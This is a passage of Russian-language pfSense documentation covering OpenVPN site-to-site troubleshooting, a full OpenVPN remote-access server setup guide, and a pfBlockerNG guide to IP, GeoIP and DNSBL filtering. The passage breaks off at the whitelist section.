- **Mesh-топология** - IPsec с VTI обеспечивает более гибкую маршрутизацию между множеством площадок.

Подробнее о настройке IPsec - в разделе [IPsec Site-to-Site VPN](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/).

## Устранение неполадок

### Туннель поднялся, но трафик не проходит

1. **Проверить маршруты** - на обеих сторонах выполнить **Diagnostics > Routes** и убедиться в наличии маршрутов к удалённым подсетям через OpenVPN-интерфейс.
2. **Проверить iroute** - в режиме TLS с несколькими клиентами убедиться, что для каждого клиента настроена директива `iroute` в Client Specific Overrides.
3. **Проверить правила файрвола** - на интерфейсе OpenVPN должны присутствовать правила, разрешающие трафик из удалённой подсети.
4. **Проверить обратную маршрутизацию** - устройства на удалённой площадке должны иметь маршрут обратно к локальной подсети через pfSense.

### Туннель не устанавливается

1. **Проверить логи OpenVPN** - **Status > System Logs > OpenVPN** на обеих сторонах.
2. **Убедиться в доступности порта** - **Diagnostics > Packet Capture** на WAN, фильтр по порту сервера.
3. **Проверить совпадение параметров** - алгоритмы шифрования, HMAC, протокол, tunnel network должны быть идентичны.
4. **Проверить сертификаты** (режим TLS) - оба сертификата должны быть подписаны одним CA, сроки действия не истекли.
5. **Проверить Shared Key** (режим PSK) - ключ должен быть скопирован полностью, без пробелов в начале/конце.

### Проблемы с MTU

Симптомы: мелкие пакеты (ping, DNS) проходят, крупные (HTTP, SMB) - нет. Решение:

1. Добавить в Custom options на обеих сторонах:

```
fragment 1400;
mssfix 1400;
```

2. Если туннель проходит через сети с пониженным MTU (PPPoE, MPLS), уменьшить значение до 1300.
3. Альтернативно - установить **MSS Clamping** в правилах файрвола pfSense.

### Периодические разрывы соединения

1. **Проверить keepalive** - убедиться, что параметры ping/ping-restart согласованы на обеих сторонах. Рекомендуемые значения: `ping 10; ping-restart 60`.
2. **Проверить rekeying** - если при смене ключей туннель разрывается, увеличить `reneg-sec` или убедиться, что обе стороны поддерживают одинаковые алгоритмы.
3. **Проверить ISP** - некоторые провайдеры сбрасывают долгоживущие UDP-сессии. Переключение на TCP может решить проблему.

## Связанные разделы

- [OpenVPN сервер удалённого доступа](/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/) - настройка OpenVPN для подключения удалённых сотрудников
- [Экспорт клиентских конфигураций](/docs/pfsense/vpn/openvpn/pfsense-openvpn-client-export/) - генерация конфигурационных файлов через пакет openvpn-client-export
- [IPsec Site-to-Site VPN](/docs/pfsense/vpn/ipsec/pfsense-ipsec-site-to-site/) - альтернативный вариант site-to-site через IPsec
- [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - управление правилами для VPN-трафика


---

# OpenVPN сервер удаленного доступа в pfSense - руководство

Source: https://opennix.org/docs/pfsense/vpn/openvpn/pfsense-openvpn-remote-access/


OpenVPN - наиболее распространённое решение для организации удалённого доступа сотрудников к корпоративной сети через pfSense. Протокол работает в пространстве пользователя, использует SSL/TLS для шифрования и способен функционировать через TCP 443, что позволяет устанавливать соединения даже из сетей с жёсткими ограничениями на исходящий трафик. В pfSense настройка OpenVPN-сервера удалённого доступа выполняется двумя способами: через встроенный визард (мастер настройки) или вручную с полным контролем над каждым параметром.

Данное руководство описывает оба подхода: от подготовки инфраструктуры сертификатов до диагностики типичных проблем подключения. Материал рассчитан на сетевых инженеров с опытом администрирования pfSense и базовым пониманием принципов SSL/TLS.

## Подготовка сертификатов

OpenVPN в режиме SSL/TLS требует инфраструктуру открытых ключей (PKI): центр сертификации (CA), серверный сертификат и индивидуальные сертификаты для каждого пользователя. Все операции с сертификатами выполняются через веб-интерфейс pfSense.

### Создание центра сертификации (CA)

Центр сертификации создаётся в разделе **System > Certificates > Authorities**.

1. Нажать **Add** для создания нового CA.
2. Заполнить параметры:

| Поле | Значение | Пояснение |
|---|---|---|
| Descriptive name | `OpenVPN-CA` | Произвольное имя для идентификации |
| Method | Create an internal Certificate Authority | Создание нового CA |
| Key type | RSA | Рекомендуемый тип ключа |
| Key length | 4096 | Минимально рекомендуемая длина - 2048 |
| Digest Algorithm | SHA256 | Не следует использовать SHA1 |
| Lifetime | 3650 | Срок действия CA в днях (10 лет) |
| Common Name | `OpenVPN-CA` | Уникальное имя CA |
| Country, State, City, Org | По необходимости | Заполняются по требованиям организации |

3. Нажать **Save**.

### Создание серверного сертификата

Серверный сертификат создаётся в разделе **System > Certificates > Certificates**.

1. Нажать **Add/Sign**.
2. Заполнить параметры:

| Поле | Значение | Пояснение |
|---|---|---|
| Method | Create an internal Certificate | Создание нового сертификата |
| Descriptive name | `OpenVPN-Server-Cert` | Имя для идентификации |
| Certificate authority | `OpenVPN-CA` | Ранее созданный CA |
| Key type | RSA | Должен совпадать с типом ключа CA |
| Key length | 2048 | Минимально допустимая длина |
| Digest Algorithm | SHA256 | Совпадает с CA |
| Certificate Type | Server Certificate | Критически важно - клиентский сертификат не подойдёт |
| Lifetime | 825 | Рекомендуемый срок (Apple ограничивает до 825 дней) |
| Common Name | `vpn.example.com` | FQDN или IP-адрес сервера |

3. Нажать **Save**.

### Создание пользовательских сертификатов

Для каждого пользователя VPN необходим индивидуальный сертификат. Создание выполняется в разделе **System > User Manager**.

1. Открыть существующего пользователя или создать нового.
2. В секции **User Certificates** нажать **Add**.
3. Выбрать **Method**: Create an internal Certificate.
4. Указать **Certificate authority**: `OpenVPN-CA`.
5. Установить **Certificate Type**: User Certificate.
6. Нажать **Save**.

> **Внимание**:
>
> Каждому пользователю следует выдавать индивидуальный сертификат. Использование одного сертификата для нескольких пользователей лишает возможности отозвать доступ конкретному сотруднику без влияния на остальных.

## Настройка через визард

OpenVPN Wizard - наиболее быстрый способ развернуть сервер удалённого доступа. Визард автоматически создаёт CA, серверный сертификат, экземпляр сервера и базовые правила файрвола.

Визард запускается через **VPN > OpenVPN > Wizards**.

![OpenVPN Wizard](/img/pfsense/pfsense-openvpn-wizard.webp)
<p style="text-align: center;">Рис. 1. Стартовая страница OpenVPN Wizard в pfSense</p>

### Шаг 1 - Тип аутентификации

Визард предлагает выбор backend-сервера аутентификации:

- **Local User Access** - аутентификация через локальную базу pfSense. Подходит для небольших организаций (до 20 пользователей).
- **LDAP** - аутентификация через Active Directory или OpenLDAP. Рекомендуется при наличии существующей каталожной службы.
- **RADIUS** - аутентификация через RADIUS-сервер (FreeRADIUS, NPS). Обеспечивает наибольшую гибкость, включая поддержку OTP.

### Шаг 2 - Сертификаты

При выборе **Local User Access** визард предложит создать CA и серверный сертификат. Если CA уже существует, допускается использование ранее созданного.

### Шаг 3 - Параметры сервера

Визард предлагает заполнить основные параметры сервера OpenVPN:

| Параметр | Рекомендация |
|---|---|
| Interface | WAN |
| Protocol | UDP on IPv4 only |
| Local Port | 1194 |
| Tunnel Network | `10.8.0.0/24` |
| Local Network(s) | Подсети, к которым разрешён доступ через VPN |
| Concurrent Connections | По количеству пользователей |
| DNS Server 1-4 | DNS-серверы, передаваемые клиентам |

### Шаг 4 - Правила файрвола

Визард предлагает автоматически создать:

- **Firewall Rule** - правило на интерфейсе WAN для входящих подключений на порт 1194/UDP.
- **OpenVPN Rule** - правило на виртуальном интерфейсе OpenVPN, разрешающее трафик из VPN-подсети в локальную сеть.

Рекомендуется разрешить визарду создать оба правила, а затем скорректировать их при необходимости.

> **Внимание**:
>
> Визард не создаёт правила для разрешения трафика между VPN-клиентами (client-to-client). Если взаимодействие клиентов требуется, необходимо настроить его вручную.

## Ручная настройка сервера

Ручная настройка выполняется в разделе **VPN > OpenVPN > Servers**. Нажать **Add** для создания нового экземпляра сервера.

![OpenVPN Server edit](/img/pfsense/pfsense-openvpn-server-edit.webp)
<p style="text-align: center;">Рис. 2. Параметры OpenVPN-сервера в pfSense</p>

### General Information

| Поле | Значение | Пояснение |
|---|---|---|
| Disabled | Не установлен | Снятие флага активирует сервер |
| Server mode | Remote Access (SSL/TLS + User Auth) | Наиболее безопасный режим: двойная проверка (сертификат + логин/пароль) |
| Backend for authentication | Local Database | Или LDAP/RADIUS при интеграции с каталожными службами |
| Device mode | tun - Layer 3 Tunnel Mode | Рекомендуемый режим; tap необходим только для L2-бриджинга |
| Interface | WAN | Интерфейс, на котором сервер принимает подключения |
| Local port | 1194 | Стандартный порт OpenVPN |
| Protocol | UDP on IPv4 only | UDP обеспечивает лучшую производительность; TCP используется при блокировке UDP |

### Cryptographic Settings

| Поле | Значение | Пояснение |
|---|---|---|
| TLS Configuration | Включена | Дополнительный уровень защиты TLS-канала |
| TLS Key | Автоматически сгенерировать | Генерация ключа при первом сохранении |
| TLS Key Usage Mode | TLS Authentication | Обеспечивает HMAC-подпись начальных TLS-пакетов |
| Peer Certificate Authority | `OpenVPN-CA` | Ранее созданный CA |
| Server certificate | `OpenVPN-Server-Cert` | Серверный сертификат |
| DH Parameter Length | 2048 | Группа Диффи-Хеллмана; 4096 для повышенной безопасности |
| ECDH Curve | Не задана (использовать по умолчанию) | Применяется при использовании ECDH |
| Data Encryption Algorithms | AES-256-GCM, AES-128-GCM, CHACHA20-POLY1305 | Клиент и сервер согласуют наилучший вариант |
| Fallback Data Encryption Algorithm | AES-256-CBC | Используется для совместимости со старыми клиентами |
| Auth digest algorithm | SHA256 | Используется при шифровании CBC; GCM-режимы имеют встроенную аутентификацию |

### Tunnel Settings

| Поле | Значение | Пояснение |
|---|---|---|
| IPv4 Tunnel Network | `10.8.0.0/24` | Подсеть для VPN-клиентов; не должна пересекаться с существующими сетями |
| IPv6 Tunnel Network | (пусто) | Заполняется при использовании IPv6 |
| Redirect IPv4 Gateway | Не установлен | Установить для Full Tunnel (весь трафик через VPN) |
| IPv4 Local Network(s) | `10.1.0.0/24, 10.2.0.0/24` | Подсети, доступные через VPN; несколько сетей через запятую |
| IPv4 Remote Network(s) | (пусто) | Используется в site-to-site; для Remote Access не заполняется |
| Concurrent connections | 10 | Максимальное количество одновременных подключений |
| Allow Compression | Refuse any non-stub compression | Сжатие отключено из соображений безопасности (атака VORACLE) |
| Push Compression | Не установлен | |
| Topology | Subnet | Рекомендуемая топология; net30 устарела |
| Type-of-Service | Не установлен | Включать только при необходимости QoS |

### Client Settings

| Поле | Значение | Пояснение |
|---|---|---|
| Dynamic IP | Включено | Позволяет клиентам менять IP без переподключения |
| Topology | Subnet - One IP address per client | |
| DNS Default Domain | `corp.example.com` | Доменный суффикс для VPN-клиентов |
| DNS Server 1-4 | `10.1.0.1` | DNS-серверы, передаваемые через push-опции |
| NTP Server 1-2 | `10.1.0.1` | Серверы точного времени |
| Force DNS cache update | Включено | Обновление DNS-кэша на Windows-клиентах |

### Advanced Configuration

В поле **Custom options** допускается указание директив OpenVPN, не представленных в интерфейсе:

```
push "dhcp-option DOMAIN-SEARCH corp.example.com";
push "dhcp-option DOMAIN-SEARCH dev.example.com";
auth-gen-token 0 external-auth;
reneg-sec 3600;
```

## Правила файрвола

Для корректной работы OpenVPN-сервера удалённого доступа необходимы правила на двух интерфейсах.

### Правила на интерфейсе WAN

Разрешение входящих подключений к серверу OpenVPN:

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | WAN |
| Address Family | IPv4 |
| Protocol | UDP |
| Source | Any |
| Destination | WAN address |
| Destination Port | 1194 |
| Description | Allow OpenVPN |

При использовании нескольких WAN-интерфейсов (Multi-WAN) правило создаётся на каждом интерфейсе, через который допускаются VPN-подключения. Подробнее о правилах файрвола - в разделе [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

### Правила на интерфейсе OpenVPN

После создания сервера в pfSense появляется виртуальный интерфейс OpenVPN. По умолчанию на нём отсутствуют разрешающие правила - весь трафик из VPN-туннеля будет блокироваться.

Минимальное правило для доступа к локальной сети:

| Поле | Значение |
|---|---|
| Action | Pass |
| Interface | OpenVPN |
| Address Family | IPv4 |
| Protocol | Any |
| Source | OpenVPN tunnel network (`10.8.0.0/24`) |
| Destination | LAN net |
| Description | VPN clients to LAN |

> **Внимание**:
>
> Правило `Source: Any / Destination: Any` на интерфейсе OpenVPN разрешит VPN-клиентам неограниченный доступ ко всем ресурсам, включая управление pfSense. Следует ограничивать доступ конкретными подсетями и портами в соответствии с принципом наименьших привилегий.

## Split Tunnel и Full Tunnel

Режим туннелирования определяет, какой трафик клиента проходит через VPN.

### Split Tunnel (раздельное туннелирование)

В режиме Split Tunnel через VPN передаётся только трафик, предназначенный для корпоративных подсетей, указанных в поле **IPv4 Local Network(s)**. Весь остальной трафик (интернет, публичные ресурсы) проходит через локальный шлюз клиента.

Преимущества:

- Снижение нагрузки на VPN-канал и корпоративный интернет-шлюз.
- Сохранение доступа к локальным ресурсам (принтеры, IoT-устройства).
- Уменьшение задержки при работе с публичными сервисами.

### Full Tunnel (полное туннелирование)

В режиме Full Tunnel весь клиентский трафик, включая интернет-трафик, маршрутизируется через VPN. Для активации установить флаг **Redirect IPv4 Gateway** в настройках сервера.

Преимущества:

- Весь трафик проходит через корпоративную систему фильтрации и инспекции.
- Защита клиентов от атак в недоверенных сетях (публичный Wi-Fi).
- Единообразное применение политик безопасности.

Дополнительно необходимо настроить DNS-серверы через push-опции, чтобы предотвратить утечку DNS-запросов:

```
push "dhcp-option DNS 10.1.0.1";
push "block-outside-dns";
```

Директива `block-outside-dns` работает только на Windows-клиентах и предотвращает использование DNS-серверов, полученных от локальной сети.

### Комбинированный подход

Для отдельных пользователей допускается переопределение режима через **Client Specific Overrides**. Например, сотрудники ИБ-отдела могут использовать Full Tunnel, а остальные - Split Tunnel.

## Client Specific Overrides

Механизм Client Specific Overrides позволяет задать индивидуальные параметры для конкретных VPN-клиентов. Настройка выполняется в разделе **VPN > OpenVPN > Client Specific Overrides**.

### Назначение фиксированного IP-адреса

Для привязки постоянного IP-адреса к конкретному пользователю:

1. Создать запись в Client Specific Overrides.
2. В поле **Common Name** указать CN из сертификата пользователя (обычно совпадает с именем пользователя).
3. В поле **Advanced** указать:

```
ifconfig-push 10.8.0.100 255.255.255.0;
```

### Предоставление доступа к дополнительным подсетям

Для маршрутизации трафика из подсети за клиентом (например, при работе из домашнего офиса с локальной сетью):

```
iroute 192.168.100.0 255.255.255.0;
push "route 192.168.100.0 255.255.255.0";
```

> **Внимание**:
>
> Директива `iroute` действует только внутри OpenVPN и должна сопровождаться соответствующим маршрутом на уровне сервера (поле **IPv4 Remote Network(s)** или `push "route ..."`), а также правилом файрвола, разрешающим трафик в указанную подсеть.

### Переопределение DNS и шлюза

Для конкретного пользователя допускается переопределение DNS-серверов и режима туннелирования:

```
push "dhcp-option DNS 10.1.0.53";
push "redirect-gateway def1";
push "block-outside-dns";
```

## Многофакторная аутентификация

Базовая аутентификация по сертификату и паролю обеспечивает два фактора: владение (сертификат) и знание (пароль). Для дополнительного усиления рекомендуется добавить одноразовые пароли (TOTP).

### TOTP через FreeRADIUS

1. Установить пакет **FreeRADIUS** через **System > Package Manager**.
2. Настроить RADIUS-сервер на интерфейсе localhost (127.0.0.1), порт 1812.
3. Создать пользователей с OTP-профилями - каждый пользователь получает секрет для генерации TOTP (совместим с Google Authenticator, Microsoft Authenticator).
4. В настройках OpenVPN-сервера установить **Backend for authentication** на RADIUS и указать параметры FreeRADIUS.

При аутентификации пользователь вводит пароль в формате `<password><TOTP-code>` (конкатенация основного пароля и шестизначного кода).

### LDAP с двухфакторной аутентификацией

При использовании LDAP (Active Directory) двухфакторная аутентификация реализуется через:

- **Duo Security** - пакет доступен в pfSense, обеспечивает push-уведомления.
- **RADIUS-прокси** - LDAP-аутентификация через RADIUS-сервер, поддерживающий TOTP (например, privacyIDEA, LinOTP).

## DCO - Data Channel Offload

Data Channel Offload (DCO) - механизм, перемещающий обработку данных OpenVPN из пространства пользователя в ядро операционной системы. Это устраняет накладные расходы на переключение контекста между ядром и процессом OpenVPN, значительно повышая пропускную способность.

### Характеристики DCO

| Аспект | Без DCO | С DCO |
|---|---|---|
| Обработка данных | Userspace (OpenVPN process) | Kernel |
| Пропускная способность | 200-400 Mbit/s (зависит от CPU) | 800-2000 Mbit/s |
| Загрузка CPU | Высокая | Низкая |
| Совместимость | Все режимы | Ограничения (см. ниже) |

### Ограничения DCO

DCO несовместим со следующими конфигурациями:

- Режим **tap** (только tun).
- Сжатие (compression) - должно быть отключено.
- Шифры без аутентификации (CBC без HMAC).
- Опция `--fragment`.
- Режим **Peer-to-Peer (Shared Key)**.

Для активации DCO необходимо установить флаг **Data Channel Offload** в параметрах сервера. При несовместимости конфигурации pfSense отобразит предупреждение.

> **Внимание**:
>
> При активации DCO на существующем сервере все текущие подключения будут разорваны. Клиенты должны поддерживать DCO (OpenVPN 2.6+). Планируйте переключение на период технологического окна.

## Устранение неполадок

### Клиент не может подключиться

1. **Проверить правило файрвола на WAN** - убедиться, что порт 1194/UDP открыт. Проверка: **Diagnostics > Packet Capture** на интерфейсе WAN, фильтр по порту 1194.
2. **Проверить журналы OpenVPN** - **Status > System Logs > OpenVPN**. Ключевые сообщения:
   - `TLS Error: TLS handshake failed` - проблема с сертификатами или несовпадение TLS-ключей.
   - `AUTH_FAILED` - неверный логин/пароль или заблокированная учётная запись.
   - `Connection reset, restarting` - проблема маршрутизации или NAT.
3. **Проверить время на сервере и клиенте** - расхождение более 5 минут приведёт к отказу проверки сертификатов.
4. **Проверить CRL (Certificate Revocation List)** - если CRL настроен, убедиться, что сертификат клиента не отозван.

### TLS Handshake Failed

Наиболее частые причины:

- **Несовпадение TLS-ключа** - ключ на сервере и клиенте должен быть идентичным. Пересоздать конфигурацию клиента через пакет openvpn-client-export.
- **Истёк сертификат CA или сервера** - проверить сроки действия в **System > Certificates**.
- **Несовпадение алгоритмов шифрования** - убедиться, что клиент поддерживает хотя бы один из алгоритмов, указанных в **Data Encryption Algorithms**.
- **MTU-проблемы** - фрагментация TLS-пакетов. Добавить в Custom options: `fragment 1400; mssfix 1400`.

### Подключение установлено, но нет доступа к ресурсам

1. **Проверить правила на интерфейсе OpenVPN** - убедиться, что трафик из VPN-подсети разрешён.
2. **Проверить маршруты** - на клиенте выполнить `route print` (Windows) или `ip route` (Linux) и убедиться в наличии маршрутов к корпоративным подсетям.
3. **Проверить поле Local Network(s)** - если подсеть не указана, маршрут к ней не будет передан клиенту.
4. **Проверить обратную маршрутизацию** - устройства в корпоративной сети должны иметь маршрут к VPN-подсети (`10.8.0.0/24`) через pfSense. Если pfSense является шлюзом по умолчанию - маршрут существует автоматически.

### Утечка DNS-запросов

При Full Tunnel клиенты могут продолжать использовать локальные DNS-серверы:

1. Убедиться, что в настройках сервера заданы **DNS Server 1-4**.
2. Добавить `push "block-outside-dns"` в Custom options (только Windows).
3. На macOS и Linux утечка DNS предотвращается через скрипты обновления resolv.conf, включённые в конфигурацию клиента.

![OpenVPN Status](/img/pfsense/pfsense-openvpn-status.webp)
<p style="text-align: center;">Рис. 3. Страница Status > OpenVPN - активные подключения и статистика</p>

## Связанные разделы

- [OpenVPN Site-to-Site туннель](/docs/pfsense/vpn/openvpn/pfsense-openvpn-site-to-site/) - объединение площадок через OpenVPN в режиме Peer-to-Peer
- [Экспорт клиентских конфигураций](/docs/pfsense/vpn/openvpn/pfsense-openvpn-client-export/) - генерация готовых файлов конфигурации и инсталляторов через пакет openvpn-client-export
- [IPsec для мобильных клиентов](/docs/pfsense/vpn/ipsec/pfsense-ipsec-mobile-clients/) - альтернативный вариант удалённого доступа через встроенный IPsec-клиент
- [Правила файрвола в pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание и управление правилами для контроля VPN-трафика


---

# pfBlockerNG в pfSense - блокировка IP и DNS

Source: https://opennix.org/docs/pfsense/packages/pfsense-pfblockerng/


pfBlockerNG - пакет для pfSense, обеспечивающий комплексную фильтрацию сетевого трафика на основе репутационных списков IP-адресов и доменных имён. Пакет объединяет две ключевые функции: блокировку IP-адресов из списков угроз (включая GeoIP-фильтрацию по странам) и DNSBL (DNS Blackhole List) - перехват DNS-запросов к вредоносным, рекламным и нежелательным доменам. В отличие от IDS/IPS, который анализирует содержимое трафика, pfBlockerNG работает на уровне IP-адресов и DNS-запросов, обеспечивая первый уровень защиты с минимальным влиянием на производительность.

pfBlockerNG интегрируется с файрволом pfSense через создание автоматических алиасов и правил, которые блокируют или разрешают трафик на основе регулярно обновляемых списков из внешних источников.

## Установка pfBlockerNG

Установка выполняется через менеджер пакетов:

1. Перейти в **System > Package Manager > Available Packages**
2. Найти **pfBlockerNG** и устанавливать именно этот пакет, если только вам не нужна возможность, доступная пока лишь в ветке разработки
3. Нажать **Install** и подтвердить установку
4. Дождаться завершения установки

После установки конфигурация доступна через **Firewall > pfBlockerNG**.

> **Внимание**:
>
> Никогда не устанавливайте pfBlockerNG и pfBlockerNG-devel одновременно. Они управляют одними и теми же алиасами, правилами файрвола и конфигурацией Unbound, поэтому совместная работа приводит к конфликтующим наборам правил.

## pfBlockerNG или pfBlockerNG-devel

pfBlockerNG - стабильный пакет, а pfBlockerNG-devel в списке пакетов самой Netgate описан как «версия pfBlockerNG для разработки». У них общая кодовая база и общий набор возможностей, просто в -devel изменения приходят раньше, а вместе с ними раньше приходят и регрессии. Устанавливать следует только один из них.

Раньше этот выбор значил больше, чем сейчас. Несколько лет базовый пакет заметно отставал, и -devel был практичным вариантом. Разрыв закрыт: релиз-ноты pfSense Plus 23.01 сообщают, что пакет pfBlockerNG обновлён до состояния pfBlockerNG-devel и после обновления безопасно удалить pfBlockerNG-devel с сохранением настроек и установить вместо него pfBlockerNG.

| | pfBlockerNG | pfBlockerNG-devel |
|---|---|---|
| **Роль** | Стабильный выпуск | Ветка разработки |
| **Изменения приходят** | После обкатки в -devel | Первыми |
| **Когда выбирать** | Прод, вариант по умолчанию | Нужна ещё не выпущенная функция или проверяется исправление |
| **Netgate Plus 23.01+** | Рекомендуется, соответствует -devel | Можно заменить базовым пакетом |

Отдельно про pfSense CE: в релиз-нотах CE утверждения из 23.01 нет, поэтому проверьте в **System > Package Manager > Available Packages** на своей установке, какие версии предлагает репозиторий, и выбирайте базовый пакет, если нет конкретной причины поступить иначе.

Чтобы перейти с -devel на базовый пакет, сначала включите **Keep Settings** на вкладке **General**, удалите pfBlockerNG-devel, затем установите pfBlockerNG. Настройки переживут замену, потому что оба пакета хранят конфигурацию в одном и том же разделе `config.xml`.

### Системные требования

| Параметр | Минимум | Рекомендуется |
|---|---|---|
| **RAM** | 1 ГБ | 2 ГБ и более |
| **Диск** | 5 ГБ свободного пространства | 10 ГБ |
| **DNS Resolver** | Unbound (обязательно для DNSBL) | Unbound в режиме Resolver |

DNSBL требует использования Unbound DNS Resolver в качестве основного DNS-сервиса pfSense. При использовании DNS Forwarder (dnsmasq) функция DNSBL недоступна.

## Первоначальная настройка

После установки необходимо выполнить базовую конфигурацию через мастер настройки.

### Общие параметры

Настройка выполняется на вкладке **General** (**Firewall > pfBlockerNG > General**).

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Enable pfBlockerNG** | Активация пакета | Включить |
| **Keep Settings** | Сохранение настроек при переустановке | Включить |
| **CRON Settings** | Расписание обновления списков | Every hour или Every 6 hours |
| **Global Logging** | Ведение журнала событий | Включить |
| **MaxMind License Key** | Ключ для загрузки базы GeoIP | Требуется для GeoIP |

### Получение ключа MaxMind

Для использования GeoIP-блокировки необходимо получить бесплатный ключ лицензии MaxMind:

1. Зарегистрировать аккаунт на [maxmind.com](https://www.maxmind.com/en/geolite2/signup)
2. В личном кабинете создать License Key
3. Скопировать ключ в поле **MaxMind License Key** в настройках pfBlockerNG
4. Выполнить обновление через **Update** для загрузки базы GeoIP

## Блокировка IP-адресов

Блокировка IP-адресов обеспечивает фильтрацию трафика на основе репутационных списков, содержащих адреса известных источников угроз - ботнет-серверов, спам-рассылок, сканеров уязвимостей и других вредоносных ресурсов.

### Настройка IP-блокировки

Конфигурация выполняется на вкладке **IP** (**Firewall > pfBlockerNG > IP**).

#### Группы IPv4 и IPv6

Для каждого списка создаётся группа с индивидуальными параметрами:

| Параметр | Описание |
|---|---|
| **Alias Name** | Имя алиаса (используется в правилах файрвола) |
| **List Action** | Действие при совпадении |
| **Update Frequency** | Частота обновления списка |
| **Source** | URL-адрес списка и его формат |
| **Header/Label** | Описание списка |

#### Действия при совпадении

| Действие | Описание |
|---|---|
| **Deny Both** | Блокировка трафика в обоих направлениях |
| **Deny Inbound** | Блокировка только входящего трафика от адресов из списка |
| **Deny Outbound** | Блокировка только исходящего трафика к адресам из списка |
| **Permit Inbound** | Разрешение входящего трафика (белый список) |
| **Permit Outbound** | Разрешение исходящего трафика (белый список) |
| **Alias Only** | Создание алиаса без автоматического правила |

Для большинства списков угроз рекомендуется действие **Deny Both** для полной блокировки взаимодействия с вредоносными адресами.

### Популярные источники IP-списков

| Источник | Описание | URL |
|---|---|---|
| **Spamhaus DROP** | Адреса, захваченные для спама и атак | https://www.spamhaus.org/drop/drop.txt |
| **Spamhaus EDROP** | Расширенный список Spamhaus | https://www.spamhaus.org/drop/edrop.txt |
| **DShield** | Топ-20 атакующих IP за последние сутки | https://feeds.dshield.org/block.txt |
| **Feodo Tracker** | IP-адреса C2-серверов банковских троянов | https://feodotracker.abuse.ch/downloads/ipblocklist.txt |
| **Emerging Threats** | IP-адреса активных угроз | https://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt |
| **CINS Army** | Распределённый список атакующих | https://cinsscore.com/list/ci-badguys.txt |
| **Abuse.ch SSLBL** | IP-адреса вредоносных SSL-серверов | https://sslbl.abuse.ch/blacklist/sslipblacklist.txt |

### GeoIP-блокировка

GeoIP-фильтрация позволяет блокировать или разрешать трафик на основе географического расположения IP-адреса. Эта функция полезна для ограничения доступа из стран, откуда легитимный трафик не ожидается.

Настройка GeoIP выполняется на вкладке **IP** в разделе **GeoIP**:

1. Убедиться, что ключ MaxMind введён в общих настройках
2. Перейти на вкладку **IP > GeoIP**
3. Выбрать континенты или страны для блокировки
4. Установить действие (**Deny Inbound**, **Deny Both** и т.д.)
5. Сохранить и выполнить обновление

#### Стратегии GeoIP-фильтрации

| Стратегия | Описание | Применение |
|---|---|---|
| **Блокировка по странам** | Запрет трафика из выбранных стран | Серверы с аудиторией из определённого региона |
| **Разрешение по странам** | Разрешение трафика только из выбранных стран, остальные блокируются | Локальные сервисы без международного доступа |
| **Только входящий** | Блокировка входящих соединений из стран, исходящий разрешён | Стандартная защита без ограничения исходящего доступа |

> **Внимание**:
>
> GeoIP-базы не обеспечивают абсолютную точность определения местоположения. Некоторые IP-адреса (VPN, CDN, облачные провайдеры) могут быть привязаны к неверной стране. Тестируйте GeoIP-правила перед развёртыванием в рабочей среде.

## DNSBL - блокировка DNS-запросов

DNSBL (DNS Blackhole List) - механизм блокировки доступа к нежелательным доменам через перехват DNS-запросов. Когда клиент запрашивает разрешение заблокированного домена, pfBlockerNG возвращает фиктивный IP-адрес (обычно 10.10.10.1) вместо реального адреса сервера. Это предотвращает подключение к вредоносным, рекламным и трекинговым ресурсам на уровне DNS.

### Принцип работы DNSBL

```text
Клиент                 Unbound DNS              pfBlockerNG
   |                      |                         |
   |-- DNS-запрос ------->|                         |
   |   malware.example.com|                         |
   |                      |-- Проверка DNSBL ------>|
   |                      |                         |
   |                      |<-- Домен в чёрном ------|
   |                      |   списке: 10.10.10.1    |
   |                      |                         |
   |<-- Ответ: 10.10.10.1|                         |
   |                      |                         |
   |-- Соединение к 10.10.10.1 (виртуальный IP pfBlockerNG)
   |-- Получает страницу блокировки или RST
```

### Настройка DNSBL

Конфигурация выполняется на вкладке **DNSBL** (**Firewall > pfBlockerNG > DNSBL**).

#### Основные параметры

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Enable DNSBL** | Активация DNS-фильтрации | Включить |
| **DNSBL Virtual IP** | Виртуальный IP для заблокированных доменов | 10.10.10.1 (по умолчанию) |
| **DNSBL Listening Port** | Порт веб-сервера страницы блокировки | 8081 (по умолчанию) |
| **DNSBL SSL Listening Port** | Порт HTTPS для страницы блокировки | 8443 |
| **DNSBL Whitelist** | Домены, исключённые из блокировки | По необходимости |
| **TLD Exclusion** | Исключение доменов верхнего уровня | По необходимости |

#### DNSBL-группы

Для каждого списка блокировки создаётся группа с настройками:

| Параметр | Описание |
|---|---|
| **Group Name** | Имя группы списков |
| **DNSBL Sources** | URL-адреса списков доменов |
| **List Action** | Действие: Unbound (рекомендуется) |
| **Update Frequency** | Частота обновления |
| **Header/Label** | Описание источника |

### Популярные DNSBL-источники

#### Блокировка рекламы и трекеров

| Источник | Описание |
|---|---|
| **EasyList** | Основной список блокировки рекламы (Adblock Plus) |
| **EasyPrivacy** | Блокировка трекинговых скриптов и пикселей |
| **AdGuard DNS** | Фильтры рекламы от AdGuard |
| **Peter Lowe's Ad List** | Компактный список рекламных и трекинговых доменов |
| **Steven Black's Hosts** | Объединённый список вредоносных и рекламных доменов |

#### Блокировка вредоносных доменов

| Источник | Описание |
|---|---|
| **Abuse.ch URLhaus** | Домены, распространяющие вредоносное ПО |
| **Malware Domain List** | Домены, связанные с вредоносным ПО |
| **Phishing Army** | Фишинговые домены |
| **SANS ISC Suspicious** | Подозрительные домены из SANS Internet Storm Center |
| **Disconnect Malware** | Домены вредоносного ПО от Disconnect |

#### Блокировка телеметрии

| Источник | Описание |
|---|---|
| **Windows Telemetry** | Домены телеметрии Microsoft Windows |
| **Smart TV Tracking** | Домены отслеживания Smart TV |

### Страница блокировки DNSBL

При обращении к заблокированному домену пользователь видит страницу блокировки pfBlockerNG. Страница отображает:

- Заблокированный домен
- Группу DNSBL, содержащую домен
- Время блокировки
- Кнопку для добавления домена в белый список (при наличии прав)

Настройка внешнего вида страницы блокировки выполняется на вкладке **DNSBL > DNSBL Customization**.

## Белые списки

Белые списки (whitelists) позволяют исключить определённые IP-адреса или домены из блокировки.

### Белый список IP-адресов

